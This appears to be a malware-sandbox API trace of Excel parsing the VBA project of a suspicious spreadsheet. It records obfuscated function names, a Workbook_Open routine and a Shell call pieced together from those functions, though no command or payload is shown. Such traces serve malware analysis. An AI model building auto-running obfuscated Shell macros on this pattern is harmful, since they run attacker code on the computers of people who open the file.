[0078.879] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xf7", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.879] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xf8", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.879] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xf9", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.879] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xfa", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.879] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xfb", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.879] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xfc", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.879] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xfd", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.879] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xfe", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.879] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xff", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.879] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0078.879] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Name") returned 0x10e2ff [0078.880] IMalloc:Alloc (This=0x7feffc15380, cb=0xd) returned 0xb122100 [0078.880] IMalloc:Alloc (This=0x7feffc15380, cb=0x1a) returned 0xb5babd0 [0078.880] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb122100, cbMultiByte=13, lpWideCharStr=0xb5babd0, cchWideChar=13 | out: lpWideCharStr="ThisWorkbook") returned 13 [0078.880] IMalloc:Free (This=0x7feffc15380, pv=0xb122100) [0078.880] IMalloc:Free (This=0x7feffc15380, pv=0xb5babd0) [0078.880] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0078.880] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Base") returned 0x109fb8 [0078.880] IMalloc:Alloc (This=0x7feffc15380, cb=0x28) returned 0xb5babd0 [0078.880] IMalloc:Alloc (This=0x7feffc15380, cb=0x50) returned 0xb084af0 [0078.880] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb5babd0, cbMultiByte=40, lpWideCharStr=0xb084af0, cchWideChar=40 | out: lpWideCharStr="0{00020819-0000-0000-C000-000000000046}") returned 40 [0078.880] IMalloc:Alloc (This=0x7feffc15380, cb=0x50) returned 0xb084a90 [0078.880] IMalloc:Realloc (This=0x7feffc15380, pv=0xae714b0, cb=0x20) returned 0xb5bac00 [0078.880] IMalloc:Realloc (This=0x7feffc15380, pv=0xae72350, cb=0x28) returned 0xb5bac30 [0078.880] IMalloc:Free (This=0x7feffc15380, pv=0xb5babd0) [0078.880] IMalloc:Free (This=0x7feffc15380, pv=0xb084af0) [0078.880] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0078.881] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_GlobalNameSpace") returned 0x10ce77 [0078.881] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="False") returned 0x102d01 [0078.881] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0078.881] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Creatable") returned 0x101d92 [0078.881] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="False") returned 0x102d01 [0078.881] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0078.881] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_PredeclaredId") returned 0x105fc7 [0078.881] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="True") returned 0x10f0f4 [0078.881] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0078.882] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Exposed") returned 0x1030b3 [0078.882] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="True") returned 0x10f0f4 [0078.882] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0078.882] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_TemplateDerived") returned 0x109f1e [0078.882] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="False") returned 0x102d01 [0078.882] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0078.882] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Customizable") returned 0x10c26d [0078.882] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="True") returned 0x10f0f4 [0078.882] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810 [0078.883] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="tess") returned 0x10ab33 [0078.883] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6762b16, cbMultiByte=4, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0078.883] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6762b16, cbMultiByte=4, lpWideCharStr=0xb277698, cchWideChar=4 | out: lpWideCharStr="tess") returned 4 [0078.883] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x30) returned 0xb4b8320 [0078.883] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x6e20000 [0078.885] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="tess") returned 0x10ab33 [0078.885] strcpy_s (in: _Dst=0x7fee5e3efc0, _DstSize=0x100, _Src="tess" | out: _Dst="tess") returned 0x0 [0078.885] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x30) returned 0xb4b8360 [0078.885] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x7ee0000 [0078.886] IMalloc:Realloc (This=0x7feffc15380, pv=0xb304350, cb=0x450) returned 0xb1f1bc0 [0078.886] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="End") returned 0x1089cd [0078.886] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810 [0078.886] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810 [0078.886] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="torro") returned 0x10171b [0078.886] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6762b3e, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0078.886] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6762b3e, cbMultiByte=5, lpWideCharStr=0xb277698, cchWideChar=5 | out: lpWideCharStr="torro") returned 5 [0078.887] IMalloc:Realloc (This=0x7feffc15380, pv=0xb3043e0, cb=0x100) returned 0xb5acf40 [0078.887] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="torro") returned 0x10171b [0078.887] strcpy_s (in: _Dst=0x7fee5e3efc0, _DstSize=0x100, _Src="torro" | out: _Dst="torro") returned 0x0 [0078.887] IMalloc:Realloc (This=0x7feffc15380, pv=0xb1f1bc0, cb=0x8a0) returned 0xb1640a0 [0078.887] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="End") returned 0x1089cd [0078.887] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810 [0078.887] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sub") returned 0x10d5ac [0078.887] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DnullS") returned 0x10b153 [0078.887] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6762b66, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0078.887] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6762b66, cbMultiByte=6, lpWideCharStr=0xb277698, cchWideChar=6 | out: lpWideCharStr="DnullS") returned 6 [0078.887] IMalloc:Realloc (This=0x7feffc15380, pv=0xb5acf40, cb=0x200) returned 0x4a74910 [0078.887] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="talljo") returned 0x10c02a [0078.887] IMalloc:Realloc (This=0x7feffc15380, pv=0xb1640a0, cb=0x1140) returned 0xb60f380 [0078.888] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Call") returned 0x10744b [0078.888] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Shell") returned 0x10d756 [0078.888] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="omran") returned 0x10afe5 [0078.888] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="torro") returned 0x10171b [0078.888] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="vicking") returned 0x106614 [0078.888] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="tess") returned 0x10ab33 [0078.888] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="serena") returned 0x106e34 [0078.888] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="talljo") returned 0x10c02a [0078.888] atoi (_Str="14") returned 14 [0078.888] atoi (_Str="14") returned 14 [0078.888] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="End") returned 0x1089cd [0078.888] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sub") returned 0x10d5ac [0078.888] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810 [0078.888] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="vicking") returned 0x106614 [0078.889] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6762c06, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0078.889] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6762c06, cbMultiByte=7, lpWideCharStr=0xb277698, cchWideChar=7 | out: lpWideCharStr="vicking") returned 7 [0078.889] CExposedStream::Read () returned 0x0 [0078.889] CExposedStream::Read () returned 0x0 [0078.889] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="vicking") returned 0x106614 [0078.889] strcpy_s (in: _Dst=0x7fee5e3efc0, _DstSize=0x100, _Src="vicking" | out: _Dst="vicking") returned 0x0 [0078.889] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="End") returned 0x1089cd [0078.889] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810 [0078.889] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810 [0078.889] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="serena") returned 0x106e34 [0078.889] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6762c2e, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0078.889] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6762c2e, cbMultiByte=6, lpWideCharStr=0xb277698, cchWideChar=6 | out: lpWideCharStr="serena") returned 6 [0078.889] IMalloc:Realloc (This=0x7feffc15380, pv=0x4a74910, cb=0x400) returned 0xb5f3090 [0078.890] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="serena") returned 0x106e34 [0078.890] strcpy_s (in: _Dst=0x7fee5e3efc0, _DstSize=0x100, _Src="serena" | out: _Dst="serena") returned 0x0 [0078.890] IMalloc:Realloc (This=0x7feffc15380, pv=0xb60f380, cb=0x2280) returned 0xb60f380 [0078.890] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="End") returned 0x1089cd [0078.890] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810 [0078.890] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810 [0078.890] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="omran") returned 0x10afe5 [0078.890] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6762bde, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0078.890] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6762bde, cbMultiByte=5, lpWideCharStr=0xb277698, cchWideChar=5 | out: lpWideCharStr="omran") returned 5 [0078.890] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="omran") returned 0x10afe5 [0078.890] strcpy_s (in: _Dst=0x7fee5e3efc0, _DstSize=0x100, _Src="omran" | out: _Dst="omran") returned 0x0 [0078.890] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="tremors") returned 0x1082a6 [0078.891] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="End") returned 0x1089cd [0078.891] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810 [0078.891] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sub") returned 0x10d5ac [0078.891] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Workbook_Open") returned 0x10e19b [0078.891] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6762c7e, cbMultiByte=13, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 13 [0078.891] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6762c7e, cbMultiByte=13, lpWideCharStr=0x73bb8c8, cchWideChar=13 | out: lpWideCharStr="Workbook_Open") returned 13 [0078.891] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DnullS") returned 0x10b153 [0078.891] strcpy_s (in: _Dst=0x7fee5e3efc0, _DstSize=0x100, _Src="DnullS" | out: _Dst="DnullS") returned 0x0 [0078.891] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="End") returned 0x1089cd [0078.891] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sub") returned 0x10d5ac [0078.891] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810 [0078.891] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="tremors") returned 0x1082a6 [0078.891] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6762c56, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0078.892] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6762c56, cbMultiByte=7, lpWideCharStr=0xb277698, cchWideChar=7 | out: lpWideCharStr="tremors") returned 7 [0078.892] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="tremors") returned 0x1082a6 [0078.892] strcpy_s (in: _Dst=0x7fee5e3efc0, _DstSize=0x100, _Src="tremors" | out: _Dst="tremors") returned 0x0 [0078.892] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Replace") returned 0x100e66 [0078.892] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="End") returned 0x1089cd [0078.892] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810 [0078.892] CExposedStream::Read () returned 0x0 [0078.892] IMalloc:Realloc (This=0x7feffc15380, pv=0xb60c490, cb=0x618) returned 0xb60c490 [0078.892] CExposedStream::Release () returned 0x1 [0078.892] CExposedStream::Release () returned 0x0 [0078.893] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Sheet1", cchWideChar=7, lpMultiByteStr=0x26fad0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Sheet1", lpUsedDefaultChar=0x0) returned 7 [0078.893] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sheet1") returned 0x101ae8 [0078.893] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Sheet1", cchWideChar=7, lpMultiByteStr=0x26fc10, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Sheet1", lpUsedDefaultChar=0x0) returned 7 [0078.893] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sheet1") returned 0x101ae8 [0078.893] IMalloc:Realloc (This=0x7feffc15380, pv=0xae72c90, cb=0x10) returned 0xb122100 [0078.893] IMalloc:Alloc (This=0x7feffc15380, cb=0x80) returned 0xb3043e0 [0078.894] IMalloc:GetSize (This=0x7feffc15380, pv=0xb3043e0) returned 0x80 [0078.894] IMalloc:Alloc (This=0x7feffc15380, cb=0xb8) returned 0xb145470 [0078.894] IMalloc:Alloc (This=0x7feffc15380, cb=0xb8) returned 0xb145530 [0078.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Sheet1", cchWideChar=7, lpMultiByteStr=0x26fad0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Sheet1", lpUsedDefaultChar=0x0) returned 7 [0078.894] CoCreateGuid (in: pguid=0x26f800 | out: pguid=0x26f800*(Data1=0x8ea148a3, Data2=0x9f6a, Data3=0x4569, Data4=([0]=0x92, [1]=0x1a, [2]=0x2, [3]=0xbe, [4]=0xe7, [5]=0x81, [6]=0x22, [7]=0x51))) returned 0x0 [0078.894] CoCreateGuid (in: pguid=0x26f810 | out: pguid=0x26f810*(Data1=0x65f2dbd2, Data2=0x6137, Data3=0x4d78, Data4=([0]=0x9d, [1]=0x23, [2]=0xac, [3]=0xa3, [4]=0x1b, [5]=0xae, [6]=0xe9, [7]=0xec))) returned 0x0 [0078.894] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Sheet1", cchWideChar=7, lpMultiByteStr=0x26f820, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Sheet1", lpUsedDefaultChar=0x0) returned 7 [0078.894] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sheet1") returned 0x101ae8 [0078.894] GetLocalTime (in: lpSystemTime=0x26f6f8 | out: lpSystemTime=0x26f6f8*(wYear=0x7e2, wMonth=0xb, wDayOfWeek=0x4, wDay=0x1, wHour=0x9, wMinute=0x1b, wSecond=0x26, wMilliseconds=0x1e)) [0078.894] _ultow_s (in: _Value=0x5db8060a, _Buffer=0xb56da54, _BufferCount=0x9, _Radix=16 | out: _Buffer="5db8060a") returned 0x0 [0078.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="025db8060a", cchWideChar=11, lpMultiByteStr=0x26f690, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="025db8060a", lpUsedDefaultChar=0x0) returned 11 [0078.894] strcpy_s (in: _Dst=0xb1dcfa8, _DstSize=0x7, _Src="Sheet1" | out: _Dst="Sheet1") returned 0x0 [0078.894] IMalloc:Realloc (This=0x7feffc15380, pv=0x71413b0, cb=0xd0) returned 0xb2b1c60 [0078.894] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sheet1") returned 0x101ae8 [0078.894] wcscpy_s (in: _Destination=0xb56da68, _SizeInWords=0x7, _Source="Sheet1" | out: _Destination="Sheet1") returned 0x0 [0078.894] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sheet1") returned 0x101ae8 [0078.894] wcscpy_s (in: _Destination=0xb56da78, _SizeInWords=0x7, _Source="Sheet1" | out: _Destination="Sheet1") returned 0x0 [0078.894] IMalloc:Realloc (This=0x7feffc15380, pv=0xb122400, cb=0x24) returned 0xb5babd0 [0078.894] IMalloc:Realloc (This=0x7feffc15380, pv=0xae714d0, cb=0xc) returned 0xb122400 [0078.894] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sheet1") returned 0x101ae8 [0078.894] IMalloc:Alloc (This=0x7feffc15380, cb=0x48) returned 0x74fce40 [0078.894] IMalloc:Free (This=0x7feffc15380, pv=0x7141420) [0078.894] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xb5bac60 [0078.894] IMalloc:Realloc (This=0x7feffc15380, pv=0xb5bac60, cb=0x74) returned 0xb4e2d00 [0078.894] IMalloc:Free (This=0x7feffc15380, pv=0x74fce40) [0078.894] IMalloc:Alloc (This=0x7feffc15380, cb=0x3d0) returned 0x733c990 [0078.894] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xb5bac60 [0078.895] IMalloc:Alloc (This=0x7feffc15380, cb=0x10) returned 0xb122080 [0078.895] IMalloc:Alloc (This=0x7feffc15380, cb=0x80) returned 0xb304350 [0078.895] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0xae714d0 [0078.895] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0xae72c90 [0078.895] IMalloc:Alloc (This=0x7feffc15380, cb=0x688) returned 0x74ea440 [0078.895] IMalloc:Alloc (This=0x7feffc15380, cb=0x80) returned 0xb304470 [0078.895] IMalloc:Alloc (This=0x7feffc15380, cb=0x640) returned 0x7117ba0 [0078.895] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xb5bac90 [0078.895] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0xae72350 [0078.895] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0xae714b0 [0078.895] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xb5bacc0 [0078.895] IMalloc:Alloc (This=0x7feffc15380, cb=0x80) returned 0xb304500 [0078.895] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_Evaluate") returned 0x10d918 [0078.895] wcsncpy_s (in: _Destination=0x26f870, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls") returned 0x0 [0078.895] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls", cchLength=0x3c | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\3d_5684_doc20181101014.xls_.xls") returned 0x3c [0078.895] IMalloc:Alloc (This=0x7feffc15380, cb=0x7a) returned 0xb304590 [0078.895] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\3d_5684_doc20181101014.xls_.xls", cchWideChar=61, lpMultiByteStr=0xb304590, cbMultiByte=122, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\3d_5684_doc20181101014.xls_.xls", lpUsedDefaultChar=0x0) returned 61 [0078.895] IMalloc:Free (This=0x7feffc15380, pv=0xb304590) [0078.895] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls", _String2="*\\CC:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls") returned 0 [0078.895] CExposedStream::Seek () returned 0x0 [0078.895] CExposedStream::AddRef () returned 0x2 [0078.895] CExposedStream::Read () returned 0x0 [0078.895] CExposedStream::AddRef () returned 0x3 [0078.895] CExposedStream::Release () returned 0x2 [0078.895] IMalloc:Alloc (This=0x7feffc15380, cb=0x2ee0) returned 0xb611610 [0078.896] CExposedStream::Read () returned 0x0 [0078.896] CExposedStream::Read () returned 0x0 [0078.896] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0078.896] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Name") returned 0x10e2ff [0078.896] IMalloc:Alloc (This=0x7feffc15380, cb=0x7) returned 0xae72cb0 [0078.896] IMalloc:Alloc (This=0x7feffc15380, cb=0xe) returned 0xb122000 [0078.897] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xae72cb0, cbMultiByte=7, lpWideCharStr=0xb122000, cchWideChar=7 | out: lpWideCharStr="Sheet1") returned 7 [0078.897] IMalloc:Free (This=0x7feffc15380, pv=0xae72cb0) [0078.897] IMalloc:Free (This=0x7feffc15380, pv=0xb122000) [0078.897] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0078.897] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Base") returned 0x109fb8 [0078.897] IMalloc:Alloc (This=0x7feffc15380, cb=0x28) returned 0xb5bacf0 [0078.897] IMalloc:Alloc (This=0x7feffc15380, cb=0x50) returned 0xb084af0 [0078.897] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb5bacf0, cbMultiByte=40, lpWideCharStr=0xb084af0, cchWideChar=40 | out: lpWideCharStr="0{00020820-0000-0000-C000-000000000046}") returned 40 [0078.897] IMalloc:Alloc (This=0x7feffc15380, cb=0x50) returned 0xb084a30 [0078.897] IMalloc:Realloc (This=0x7feffc15380, pv=0xae714d0, cb=0x20) returned 0xb5bad20 [0078.897] IMalloc:Realloc (This=0x7feffc15380, pv=0xae72350, cb=0x28) returned 0xb5bad50 [0078.897] IMalloc:Free (This=0x7feffc15380, pv=0xb5bacf0) [0078.897] IMalloc:Free (This=0x7feffc15380, pv=0xb084af0) [0078.897] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0078.897] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_GlobalNameSpace") returned 0x10ce77 [0078.897] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="False") returned 0x102d01 [0078.897] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0078.898] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Creatable") returned 0x101d92 [0078.898] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="False") returned 0x102d01 [0078.898] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0078.898] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_PredeclaredId") returned 0x105fc7 [0078.898] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="True") returned 0x10f0f4 [0078.898] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0078.898] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Exposed") returned 0x1030b3 [0078.898] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="True") returned 0x10f0f4 [0078.898] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0078.898] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_TemplateDerived") returned 0x109f1e [0078.898] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="False") returned 0x102d01 [0078.899] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0078.899] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Customizable") returned 0x10c26d [0078.899] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="True") returned 0x10f0f4 [0078.899] CExposedStream::Read () returned 0x0 [0078.899] IMalloc:Realloc (This=0x7feffc15380, pv=0xb611610, cb=0x258) returned 0xb611610 [0078.899] CExposedStream::Release () returned 0x1 [0078.899] CExposedStream::Release () returned 0x0 [0078.900] CExposedStream::Release () returned 0x0 [0078.900] IMalloc:Free (This=0x7feffc15380, pv=0xb54f090) [0078.900] IMalloc:Free (This=0x7feffc15380, pv=0xb54d060) [0078.900] IMalloc:Free (This=0x7feffc15380, pv=0xb5fc460) [0078.900] IMalloc:Free (This=0x7feffc15380, pv=0xb5fa430) [0078.900] IMalloc:Free (This=0x7feffc15380, pv=0xb0e8a40) [0078.900] lstrcpyA (in: lpString1=0xc3f7a7c, lpString2="PROJECT" | out: lpString1="PROJECT") returned="PROJECT" [0078.900] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc3f7a7c, cbMultiByte=-1, lpWideCharStr=0x270eb0, cchWideChar=8 | out: lpWideCharStr="PROJECT") returned 8 [0078.900] CExposedStream::Stat () returned 0x0 [0078.900] CExposedStream::Read () returned 0x0 [0078.900] lstrlenA (lpString="") returned 0 [0078.900] lstrcpyA (in: lpString1=0xcd1df70, lpString2="" | out: lpString1="") returned="" [0078.900] lstrlenA (lpString="") returned 0 [0078.900] lstrcpyA (in: lpString1=0xcd1dfb0, lpString2="" | out: lpString1="") returned="" [0078.901] lstrcpynA (in: lpString1=0xc3f8ae0, lpString2="Host Extender Info", iMaxLength=256 | out: lpString1="Host Extender Info") returned="Host Extender Info" [0078.901] 